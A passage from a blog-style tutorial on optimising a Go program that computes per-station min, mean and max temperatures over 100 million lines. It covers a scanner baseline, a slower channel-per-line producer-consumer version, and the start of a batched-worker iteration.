<span class="giallo-l"><span>	fmt</span><span>.</span><span style="color: light-dark(#6F42C1, #DCBDFB);">Println</span><span>(</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">}</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>)</span></span>
<span class="giallo-l"><span>}</span></span></code></pre>
<p>On running the above program, we get the following output:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span>{Chihuahua=20.3/20.3/20.3, Dikson=-3.7/-3.7/-3.7, Dodoma=20.3/20.3/20.3, Kampala=50.8/50.8/50.8, Mek&#39;ele=13.3/13.3/13.3, Ngaoundéré=24.2/24.2/24.2, San Diego=7.1/7.1/7.1, Singapore=14.4/14.4/14.4, Toronto=12.7/12.7/12.7, Wrocław=12.6/12.6/12.6}</span></span></code></pre>
<p>This approach works well for small, simple files. However, there are certain restrictions:</p>
<ul>
<li>It reads the file line by line using a scanner. Reading and processing a billion rows is time-consuming.</li>
<li>Each operation, even if small, adds up when repeated a billion times. This includes string splitting, type conversion, error checking, and appending to a slice.</li>
<li>Additionally, we need to consider the potential of hitting the max Disk IOPS limit if we perform too many file operations per second.</li>
</ul>
<p>Before we proceed to optimize this further, let’s establish a baseline performance of <em>100 million</em> lines first:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="go"><span class="giallo-l"><span>$ </span><span>wc</span><span style="color: light-dark(#D73A49, #F47067);"> -</span><span>l</span><span> measurements</span><span>.</span><span>txt</span></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #6CB6FF);">  100000000</span><span> measurements</span><span>.</span><span>txt</span></span>
<span class="giallo-l"><span>$ </span><span>time</span><span style="color: light-dark(#D73A49, #F47067);"> go</span><span> run</span><span> main</span><span>.</span><span style="color: light-dark(#D73A49, #F47067);">go</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">  go</span><span> run</span><span> main</span><span>.</span><span style="color: light-dark(#D73A49, #F47067);">go</span><span style="color: light-dark(#B31D28, #FF938A);font-style: italic;">  18.44s</span><span> user</span><span style="color: light-dark(#B31D28, #FF938A);font-style: italic;"> 0.83s</span><span> system</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 100</span><span style="color: light-dark(#D73A49, #F47067);">%</span><span> cpu</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 19</span><span style="color: light-dark(#005CC5, #6CB6FF);">.</span><span style="color: light-dark(#005CC5, #6CB6FF);">135</span><span> total</span></span></code></pre>
<p>Baseline: It takes approximately 19s to read and calculate stats from 100 mn lines.</p>
<p>There’s a lot of room to optimize it further, let’s go through them one by one.</p>
<h2 id="iteration-1-producer-consumer-pattern">Iteration 1: Producer-Consumer Pattern<a class="zola-anchor" href="#iteration-1-producer-consumer-pattern" aria-label="Anchor link for: iteration-1-producer-consumer-pattern">#</a></h2>
<p>The concept involves reading multiple lines simultaneously in the producer Goroutine and then dispatching these batches to worker Goroutines. We can establish a worker pool to implement a producer-consumer pattern. Producers read lines from the file and send them to a channel. Consumers retrieve lines from the channel, parse the data, and calculate the minimum, mean, and maximum temperatures for each station.</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="go"><span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">func</span><span style="color: light-dark(#6F42C1, #DCBDFB);"> main</span><span>(</span><span>)</span><span> {</span></span>
<span class="giallo-l"><span>	numWorkers</span><span style="color: light-dark(#D73A49, #F47067);"> :=</span><span> runtime</span><span>.</span><span style="color: light-dark(#6F42C1, #DCBDFB);">NumCPU</span><span>(</span><span>)</span></span>
<span class="giallo-l"><span>	runtime</span><span>.</span><span style="color: light-dark(#6F42C1, #DCBDFB);">GOMAXPROCS</span><span>(</span><span>numWorkers</span><span>)</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span>	linesChan</span><span style="color: light-dark(#D73A49, #F47067);"> :=</span><span style="color: light-dark(#6F42C1, #DCBDFB);"> make</span><span>(</span><span style="color: light-dark(#D73A49, #F47067);">chan</span><span style="color: light-dark(#D73A49, #F47067);"> string</span><span>,</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 1000000</span><span>)</span></span>
<span class="giallo-l"><span>	resultsChan</span><span style="color: light-dark(#D73A49, #F47067);"> :=</span><span style="color: light-dark(#6F42C1, #DCBDFB);"> make</span><span>(</span><span style="color: light-dark(#D73A49, #F47067);">chan</span><span style="color: light-dark(#D73A49, #F47067);"> map</span><span>[</span><span style="color: light-dark(#D73A49, #F47067);">string</span><span>]</span><span style="color: light-dark(#6F42C1, #F69D50);">Stats</span><span>,</span><span> numWorkers</span><span>)</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">	//</span><span style="color: light-dark(#6A737D, #768390);"> Start worker goroutines</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">	var</span><span> wg</span><span style="color: light-dark(#6F42C1, #F69D50);"> sync</span><span>.</span><span style="color: light-dark(#6F42C1, #F69D50);">WaitGroup</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">	for</span><span> i</span><span style="color: light-dark(#D73A49, #F47067);"> :=</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 0</span><span>;</span><span> i</span><span style="color: light-dark(#D73A49, #F47067);"> &lt;</span><span> numWorkers</span><span>;</span><span> i</span><span style="color: light-dark(#D73A49, #F47067);">++</span><span> {</span></span>
<span class="giallo-l"><span>		wg</span><span>.</span><span style="color: light-dark(#6F42C1, #DCBDFB);">Add</span><span>(</span><span style="color: light-dark(#005CC5, #6CB6FF);">1</span><span>)</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">		go</span><span style="color: light-dark(#6F42C1, #DCBDFB);"> worker</span><span>(</span><span>linesChan</span><span>,</span><span> resultsChan</span><span>,</span><span style="color: light-dark(#D73A49, #F47067);"> &amp;</span><span>wg</span><span>)</span></span>
<span class="giallo-l"><span>	}</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">	//</span><span style="color: light-dark(#6A737D, #768390);"> Read the file and send lines to the workers</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">	go</span><span style="color: light-dark(#D73A49, #F47067);"> func</span><span>(</span><span>)</span><span> {</span></span>
<span class="giallo-l"><span>		file</span><span>,</span><span> err</span><span style="color: light-dark(#D73A49, #F47067);"> :=</span><span> os</span><span>.</span><span style="color: light-dark(#6F42C1, #DCBDFB);">Open</span><span>(</span><span>measurementsFile</span><span>)</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">		if</span><span> err</span><span style="color: light-dark(#D73A49, #F47067);"> !=</span><span style="color: light-dark(#005CC5, #6CB6FF);"> nil</span><span> {</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #DCBDFB);">			panic</span><span>(</span><span>err</span><span>)</span></span>
<span class="giallo-l"><span>		}</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">		defer</span><span> file</span><span>.</span><span style="color: light-dark(#6F42C1, #DCBDFB);">Close</span><span>(</span><span>)</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span>		scanner</span><span style="color: light-dark(#D73A49, #F47067);"> :=</span><span> bufio</span><span>.</span><span style="color: light-dark(#6F42C1, #DCBDFB);">NewScanner</span><span>(</span><span>file</span><span>)</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">		for</span><span> scanner</span><span>.</span><span style="color: light-dark(#6F42C1, #DCBDFB);">Scan</span><span>(</span><span>)</span><span> {</span></span>
<span class="giallo-l"><span>			linesChan</span><span style="color: light-dark(#D73A49, #F47067);"> &lt;-</span><span> scanner</span><span>.</span><span style="color: light-dark(#6F42C1, #DCBDFB);">Text</span><span>(</span><span>)</span></span>
<span class="giallo-l"><span>		}</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #DCBDFB);">		close</span><span>(</span><span>linesChan</span><span>)</span></span>
<span class="giallo-l"><span>	}</span><span>(</span><span>)</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">	//</span><span style="color: light-dark(#6A737D, #768390);"> Collect results from workers</span></span>
<span class="giallo-l"><span>	wg</span><span>.</span><span style="color: light-dark(#6F42C1, #DCBDFB);">Wait</span><span>(</span><span>)</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #DCBDFB);">	close</span><span>(</span><span>resultsChan</span><span>)</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">	//</span><span style="color: light-dark(#6A737D, #768390);"> Aggregate results</span></span>
<span class="giallo-l"><span>	finalResults</span><span style="color: light-dark(#D73A49, #F47067);"> :=</span><span style="color: light-dark(#6F42C1, #DCBDFB);"> make</span><span>(</span><span style="color: light-dark(#D73A49, #F47067);">map</span><span>[</span><span style="color: light-dark(#D73A49, #F47067);">string</span><span>]</span><span style="color: light-dark(#6F42C1, #F69D50);">Stats</span><span>)</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">	for</span><span> workerResult</span><span style="color: light-dark(#D73A49, #F47067);"> :=</span><span style="color: light-dark(#D73A49, #F47067);"> range</span><span> resultsChan</span><span> {</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">		for</span><span> station</span><span>,</span><span> stats</span><span style="color: light-dark(#D73A49, #F47067);"> :=</span><span style="color: light-dark(#D73A49, #F47067);"> range</span><span> workerResult</span><span> {</span></span>
<span class="giallo-l"><span>			finalStats</span><span style="color: light-dark(#D73A49, #F47067);"> :=</span><span> finalResults</span><span>[</span><span>station</span><span>]</span></span>
<span class="giallo-l"><span>			finalStats</span><span>.</span><span>Min</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span style="color: light-dark(#6F42C1, #DCBDFB);"> min</span><span>(</span><span>finalStats</span><span>.</span><span>Min</span><span>,</span><span> stats</span><span>.</span><span>Min</span><span>)</span></span>
<span class="giallo-l"><span>			finalStats</span><span>.</span><span>Max</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span style="color: light-dark(#6F42C1, #DCBDFB);"> max</span><span>(</span><span>finalStats</span><span>.</span><span>Max</span><span>,</span><span> stats</span><span>.</span><span>Max</span><span>)</span></span>
<span class="giallo-l"><span>			finalStats</span><span>.</span><span>Mean</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span> (</span><span>finalStats</span><span>.</span><span>Mean</span><span style="color: light-dark(#D73A49, #F47067);">*</span><span style="color: light-dark(#D73A49, #F47067);">float64</span><span>(</span><span>finalStats</span><span>.</span><span>Count</span><span>)</span><span style="color: light-dark(#D73A49, #F47067);"> +</span><span> stats</span><span>.</span><span>Mean</span><span style="color: light-dark(#D73A49, #F47067);">*</span><span style="color: light-dark(#D73A49, #F47067);">float64</span><span>(</span><span>stats</span><span>.</span><span>Count</span><span>)</span><span>)</span><span style="color: light-dark(#D73A49, #F47067);"> /</span><span style="color: light-dark(#D73A49, #F47067);"> float64</span><span>(</span><span>finalStats</span><span>.</span><span>Count</span><span style="color: light-dark(#D73A49, #F47067);">+</span><span>stats</span><span>.</span><span>Count</span><span>)</span></span>
<span class="giallo-l"><span>			finalStats</span><span>.</span><span>Count</span><span style="color: light-dark(#D73A49, #F47067);"> +=</span><span> stats</span><span>.</span><span>Count</span></span>
<span class="giallo-l"><span>			finalResults</span><span>[</span><span>station</span><span>]</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span> finalStats</span></span>
<span class="giallo-l"><span>		}</span></span>
<span class="giallo-l"><span>	}</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">	//</span><span style="color: light-dark(#6A737D, #768390);"> Print results</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #DCBDFB);">	printStats</span><span>(</span><span>finalResults</span><span>)</span></span>
<span class="giallo-l"><span>}</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">func</span><span style="color: light-dark(#6F42C1, #DCBDFB);"> worker</span><span>(</span><span style="color: light-dark(#E36209, #F69D50);">linesChan</span><span style="color: light-dark(#D73A49, #F47067);"> &lt;-</span><span style="color: light-dark(#D73A49, #F47067);">chan</span><span style="color: light-dark(#D73A49, #F47067);"> string</span><span>,</span><span style="color: light-dark(#E36209, #F69D50);"> resultsChan</span><span style="color: light-dark(#D73A49, #F47067);"> chan</span><span style="color: light-dark(#D73A49, #F47067);">&lt;-</span><span style="color: light-dark(#D73A49, #F47067);"> map</span><span>[</span><span style="color: light-dark(#D73A49, #F47067);">string</span><span>]</span><span style="color: light-dark(#6F42C1, #F69D50);">Stats</span><span>,</span><span style="color: light-dark(#E36209, #F69D50);"> wg</span><span style="color: light-dark(#D73A49, #F47067);"> *</span><span style="color: light-dark(#6F42C1, #F69D50);">sync</span><span>.</span><span style="color: light-dark(#6F42C1, #F69D50);">WaitGroup</span><span>)</span><span> {</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">	defer</span><span> wg</span><span>.</span><span style="color: light-dark(#6F42C1, #DCBDFB);">Done</span><span>(</span><span>)</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span>	stationStats</span><span style="color: light-dark(#D73A49, #F47067);"> :=</span><span style="color: light-dark(#6F42C1, #DCBDFB);"> make</span><span>(</span><span style="color: light-dark(#D73A49, #F47067);">map</span><span>[</span><span style="color: light-dark(#D73A49, #F47067);">string</span><span>]</span><span style="color: light-dark(#6F42C1, #F69D50);">Stats</span><span>)</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">	for</span><span> line</span><span style="color: light-dark(#D73A49, #F47067);"> :=</span><span style="color: light-dark(#D73A49, #F47067);"> range</span><span> linesChan</span><span> {</span></span>
<span class="giallo-l"><span>		parts</span><span style="color: light-dark(#D73A49, #F47067);"> :=</span><span> strings</span><span>.</span><span style="color: light-dark(#6F42C1, #DCBDFB);">Split</span><span>(</span><span>line</span><span>,</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">;</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>)</span></span>
<span class="giallo-l"><span>		temp</span><span>,</span><span> err</span><span style="color: light-dark(#D73A49, #F47067);"> :=</span><span> strconv</span><span>.</span><span style="color: light-dark(#6F42C1, #DCBDFB);">ParseFloat</span><span>(</span><span>parts</span><span>[</span><span style="color: light-dark(#005CC5, #6CB6FF);">1</span><span>]</span><span>,</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 64</span><span>)</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">		if</span><span> err</span><span style="color: light-dark(#D73A49, #F47067);"> !=</span><span style="color: light-dark(#005CC5, #6CB6FF);"> nil</span><span> {</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">			continue</span></span>
<span class="giallo-l"><span>		}</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span>		stats</span><span style="color: light-dark(#D73A49, #F47067);"> :=</span><span> stationStats</span><span>[</span><span>parts</span><span>[</span><span style="color: light-dark(#005CC5, #6CB6FF);">0</span><span>]</span><span>]</span></span>
<span class="giallo-l"><span>		stats</span><span>.</span><span>Count</span><span style="color: light-dark(#D73A49, #F47067);">++</span></span>
<span class="giallo-l"><span>		stats</span><span>.</span><span>Min</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span style="color: light-dark(#6F42C1, #DCBDFB);"> min</span><span>(</span><span>stats</span><span>.</span><span>Min</span><span>,</span><span> temp</span><span>)</span></span>
<span class="giallo-l"><span>		stats</span><span>.</span><span>Max</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span style="color: light-dark(#6F42C1, #DCBDFB);"> max</span><span>(</span><span>stats</span><span>.</span><span>Max</span><span>,</span><span> temp</span><span>)</span></span>
<span class="giallo-l"><span>		stats</span><span>.</span><span>Mean</span><span style="color: light-dark(#D73A49, #F47067);"> +=</span><span> (</span><span>temp</span><span style="color: light-dark(#D73A49, #F47067);"> -</span><span> stats</span><span>.</span><span>Mean</span><span>)</span><span style="color: light-dark(#D73A49, #F47067);"> /</span><span style="color: light-dark(#D73A49, #F47067);"> float64</span><span>(</span><span>stats</span><span>.</span><span>Count</span><span>)</span></span>
<span class="giallo-l"><span>		stationStats</span><span>[</span><span>parts</span><span>[</span><span style="color: light-dark(#005CC5, #6CB6FF);">0</span><span>]</span><span>]</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span> stats</span></span>
<span class="giallo-l"><span>	}</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span>	resultsChan</span><span style="color: light-dark(#D73A49, #F47067);"> &lt;-</span><span> stationStats</span></span>
<span class="giallo-l"><span>}</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">func</span><span style="color: light-dark(#6F42C1, #DCBDFB);"> min</span><span>(</span><span style="color: light-dark(#E36209, #F69D50);">a</span><span>,</span><span style="color: light-dark(#E36209, #F69D50);"> b</span><span style="color: light-dark(#D73A49, #F47067);"> float64</span><span>)</span><span style="color: light-dark(#D73A49, #F47067);"> float64</span><span> {</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">	if</span><span> a</span><span style="color: light-dark(#D73A49, #F47067);"> ==</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 0</span><span style="color: light-dark(#D73A49, #F47067);"> ||</span><span> a</span><span style="color: light-dark(#D73A49, #F47067);"> &gt;</span><span> b</span><span> {</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">		return</span><span> b</span></span>
<span class="giallo-l"><span>	}</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">	return</span><span> a</span></span>
<span class="giallo-l"><span>}</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">func</span><span style="color: light-dark(#6F42C1, #DCBDFB);"> max</span><span>(</span><span style="color: light-dark(#E36209, #F69D50);">a</span><span>,</span><span style="color: light-dark(#E36209, #F69D50);"> b</span><span style="color: light-dark(#D73A49, #F47067);"> float64</span><span>)</span><span style="color: light-dark(#D73A49, #F47067);"> float64</span><span> {</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">	if</span><span> a</span><span style="color: light-dark(#D73A49, #F47067);"> &lt;</span><span> b</span><span> {</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">		return</span><span> b</span></span>
<span class="giallo-l"><span>	}</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">	return</span><span> a</span></span>
<span class="giallo-l"><span>}</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">func</span><span style="color: light-dark(#6F42C1, #DCBDFB);"> printStats</span><span>(</span><span style="color: light-dark(#E36209, #F69D50);">statsMap</span><span style="color: light-dark(#D73A49, #F47067);"> map</span><span>[</span><span style="color: light-dark(#D73A49, #F47067);">string</span><span>]</span><span style="color: light-dark(#6F42C1, #F69D50);">Stats</span><span>)</span><span> {</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">	var</span><span> stations</span><span> [</span><span>]</span><span style="color: light-dark(#D73A49, #F47067);">string</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">	for</span><span> station</span><span style="color: light-dark(#D73A49, #F47067);"> :=</span><span style="color: light-dark(#D73A49, #F47067);"> range</span><span> statsMap</span><span> {</span></span>
<span class="giallo-l"><span>		stations</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span style="color: light-dark(#6F42C1, #DCBDFB);"> append</span><span>(</span><span>stations</span><span>,</span><span> station</span><span>)</span></span>
<span class="giallo-l"><span>	}</span></span>
<span class="giallo-l"><span>	sort</span><span>.</span><span style="color: light-dark(#6F42C1, #DCBDFB);">Strings</span><span>(</span><span>stations</span><span>)</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span>	fmt</span><span>.</span><span style="color: light-dark(#6F42C1, #DCBDFB);">Print</span><span>(</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">{</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>)</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">	for</span><span> i</span><span>,</span><span> station</span><span style="color: light-dark(#D73A49, #F47067);"> :=</span><span style="color: light-dark(#D73A49, #F47067);"> range</span><span> stations</span><span> {</span></span>
<span class="giallo-l"><span>		stats</span><span style="color: light-dark(#D73A49, #F47067);"> :=</span><span> statsMap</span><span>[</span><span>station</span><span>]</span></span>
<span class="giallo-l"><span>		fmt</span><span>.</span><span style="color: light-dark(#6F42C1, #DCBDFB);">Printf</span><span>(</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#005CC5, #F47067);">%s</span><span style="color: light-dark(#032F62, #96D0FF);">=</span><span style="color: light-dark(#005CC5, #F47067);">%.1f</span><span style="color: light-dark(#032F62, #96D0FF);">/</span><span style="color: light-dark(#005CC5, #F47067);">%.1f</span><span style="color: light-dark(#032F62, #96D0FF);">/</span><span style="color: light-dark(#005CC5, #F47067);">%.1f</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span><span> station</span><span>,</span><span> stats</span><span>.</span><span>Min</span><span>,</span><span> stats</span><span>.</span><span>Mean</span><span>,</span><span> stats</span><span>.</span><span>Max</span><span>)</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">		if</span><span> i</span><span style="color: light-dark(#D73A49, #F47067);"> &lt;</span><span style="color: light-dark(#6F42C1, #DCBDFB);"> len</span><span>(</span><span>stations</span><span>)</span><span style="color: light-dark(#D73A49, #F47067);">-</span><span style="color: light-dark(#005CC5, #6CB6FF);">1</span><span> {</span></span>
<span class="giallo-l"><span>			fmt</span><span>.</span><span style="color: light-dark(#6F42C1, #DCBDFB);">Print</span><span>(</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">, </span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>)</span></span>
<span class="giallo-l"><span>		}</span></span>
<span class="giallo-l"><span>	}</span></span>
<span class="giallo-l"><span>	fmt</span><span>.</span><span style="color: light-dark(#6F42C1, #DCBDFB);">Println</span><span>(</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">}</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>)</span></span>
<span class="giallo-l"><span>}</span></span></code></pre><h3 id="results">Results<a class="zola-anchor" href="#results" aria-label="Anchor link for: results">#</a></h3>
<p>The concurrent version, unexpectedly, resulted in almost a 3x decrease in performance.</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="go"><span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">go</span><span> run</span><span> main</span><span>.</span><span style="color: light-dark(#D73A49, #F47067);">go</span><span style="color: light-dark(#B31D28, #FF938A);font-style: italic;">  84.15s</span><span> user</span><span style="color: light-dark(#B31D28, #FF938A);font-style: italic;"> 101.34s</span><span> system</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 342</span><span style="color: light-dark(#D73A49, #F47067);">%</span><span> cpu</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 54</span><span style="color: light-dark(#005CC5, #6CB6FF);">.</span><span style="color: light-dark(#005CC5, #6CB6FF);">225</span><span> total</span></span></code></pre>
<p>Where did we go wrong? This is a classic case where the overhead of concurrency mechanisms outweighs their benefits. In our current implementation, each line is sent to the channel individually, which is likely less efficient than batching lines for processing. This means that for a file with a large number of lines, there will be an equally large number of channel send operations. Each channel operation involves locking and unlocking, which can be costly, especially in a high-frequency context.</p>
<h2 id="iteration-2-batch-processing-of-lines">Iteration 2: Batch processing of lines<a class="zola-anchor" href="#iteration-2-batch-processing-of-lines" aria-label="Anchor link for: iteration-2-batch-processing-of-lines">#</a></h2>
<p>In this version we are Batching the lines before sending to the worker which will significantly reduce the overhead of channel communication.</p>
<ol>
<li>
<p><strong>Batch Processing</strong>: Each batch contains <strong><code>batchSize</code></strong> lines. This reduces the frequency of channel operations (both sending and receiving), as well as the overhead associated with these operations.</p>
</li>
<li>
<p><strong>Efficient Worker Utilization</strong>: With batch processing, each worker goroutine spends more time processing data and less time interacting with channels. This reduces the overhead of context switching and synchronization, making the processing more efficient.</p>
</li>
</ol>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="go"><span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">const</span><span> (</span></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #6CB6FF);">	batchSize</span><span style="color: light-dark(#D73A49, #F47067);">        =</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 1000000</span><span style="color: light-dark(#6A737D, #768390);"> //</span><span style="color: light-dark(#6A737D, #768390);"> Number of lines per batch</span></span>
<span class="giallo-l"><span>)</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">//</span><span style="color: light-dark(#6A737D, #768390);"> ...</span></span>
<span class="giallo-l"><span>		scanner</span><span style="color: light-dark(#D73A49, #F47067);"> :=</span><span> bufio</span><span>.</span><span style="color: light-dark(#6F42C1, #DCBDFB);">NewScanner</span><span>(</span><span>file</span><span>)</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">		var</span><span> batch</span><span> [</span><span>]</span><span style="color: light-dark(#D73A49, #F47067);">string</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">		for</span><span> scanner</span><span>.</span><span style="color: light-dark(#6F42C1, #DCBDFB);">Scan</span><span>(</span><span>)</span><span> {</span></span>
<span class="giallo-l"><span>			batch</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span style="color: light-dark(#6F42C1, #DCBDFB);"> append</span><span>(</span><span>batch</span><span>,</span><span> scanner</span><span>.</span><span style="color: light-dark(#6F42C1, #DCBDFB);">Text</span><span>(</span><span>)</span><span>)</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">			if</span><span style="color: light-dark(#6F42C1, #DCBDFB);"> len</span><span>(</span><span>batch</span><span>)</span><span style="color: light-dark(#D73A49, #F47067);"> &gt;=</span><span> batchSize</span><span> {</span></span>
<span class="giallo-l"><span>				batchesChan</span><span style="color: light-dark(#D73A49, #F47067);"> &lt;-</span><span> batch</span></span>
<span class="giallo-l"><span>				batch</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span style="color: light-dark(#005CC5, #6CB6FF);"> nil</span><span style="color: light-dark(#6A737D, #768390);"> //</span><span style="color: light-dark(#6A737D, #768390);"> Start a new batch</span></span>
<span class="giallo-l"><span>			}</span></span>
<span class="giallo-l"><span>		}</span></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">		//</span><span style="color: light-dark(#6A737D, #768390);"> Send any remaining lines in the last batch</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">		if</span><span style="color: light-dark(#6F42C1, #DCBDFB);"> len</span><span>(</span><span>batch</span><span>)</span><span style="color: light-dark(#D73A49, #F47067);"> &gt;</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 0</span><span> {</span></span>
<span class="giallo-l"><span>			batchesChan</span><span style="color: light-dark(#D73A49, #F47067);"> &lt;-</span><span> batch</span></span>
<span class="giallo-l"><span>		}</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #DCBDFB);">		close</span><span>(</span><span>batchesChan</span><span>)</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">//</span><span style="color: light-dark(#6A737D, #768390);"> ...</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">func</span><span style="color: light-dark(#6F42C1, #DCBDFB);"> worker</span><span>(</span><span style="color: light-dark(#E36209, #F69D50);">batchesChan</span><span style="color: light-dark(#D73A49, #F47067);"> &lt;-</span><span style="color: light-dark(#D73A49, #F47067);">chan</span><span> [</span><span>]</span><span style="color: light-dark(#D73A49, #F47067);">string</span><span>,</span><span style="color: light-dark(#E36209, #F69D50);"> resultsChan</span><span style="color: light-dark(#D73A49, #F47067);"> chan</span><span style="color: light-dark(#D73A49, #F47067);">&lt;-</span><span style="color: light-dark(#D73A49, #F47067);"> map</span><span>[</span><span style="color: light-dark(#D73A49, #F47067);">string</span><span>]</span><span style="color: light-dark(#6F42C1, #F69D50);">Stats</span><span>,</span><span style="color: light-dark(#E36209, #F69D50);"> wg</span><span style="color: light-dark(#D73A49, #F47067);"> *</span><span style="color: light-dark(#6F42C1, #F69D50);">sync</span><span>.</span><span style="color: light-dark(#6F42C1, #F69D50);">WaitGroup</span><span>)</span><span> {</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">	defer</span><span> wg</span><span>.</span><span style="color: light-dark(#6F42C1, #DCBDFB);">Done</span><span>(</span><span>)</span></span>
<span class="giallo-l"></span>
